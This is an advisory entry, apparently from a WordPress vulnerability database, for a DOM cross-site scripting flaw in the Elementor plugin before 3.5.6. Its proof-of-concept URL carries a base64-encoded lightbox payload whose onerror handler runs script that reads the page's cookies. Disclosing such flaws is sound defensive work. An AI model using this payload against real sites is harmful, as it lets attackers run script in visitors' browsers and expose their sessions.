WordPress Plugin Vulnerabilities
Elementor < 3.5.6 - DOM Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape user input appended to the DOM via malicious Lightbox settings, resulting in a DOM Cross-Site Scripting issue
Proof of Concept
https://example.com/#elementor-action:action=lightbox&settings=ewogICAgInR5cGUiOiAidmlkZW8iLAogICAgInVybCI6ICJodHRwOi8vIiwKICAgICJ2aWRlb1R5cGUiOiAiaG9zdGVkIiwKICAgICJ2aWRlb1BhcmFtcyI6IHsKICAgICAgICAib25lcnJvciI6ImFsZXJ0KGRvY3VtZW50LmRvbWFpbisnICcrZG9jdW1lbnQuY29va2llKSIsCiAgICAgICAgInN0eWxlIjogImJhY2tncm91bmQtY29sb3I6cmVkIgogICAgfQp9
Affects Plugins
Fixed in version 3.5.6
References
Classification
Miscellaneous
Timeline
Publicly Published
2022-06-13 (about 7 months ago)
Added
2022-06-13 (about 7 months ago)
Last Updated
2022-06-13 (about 7 months ago)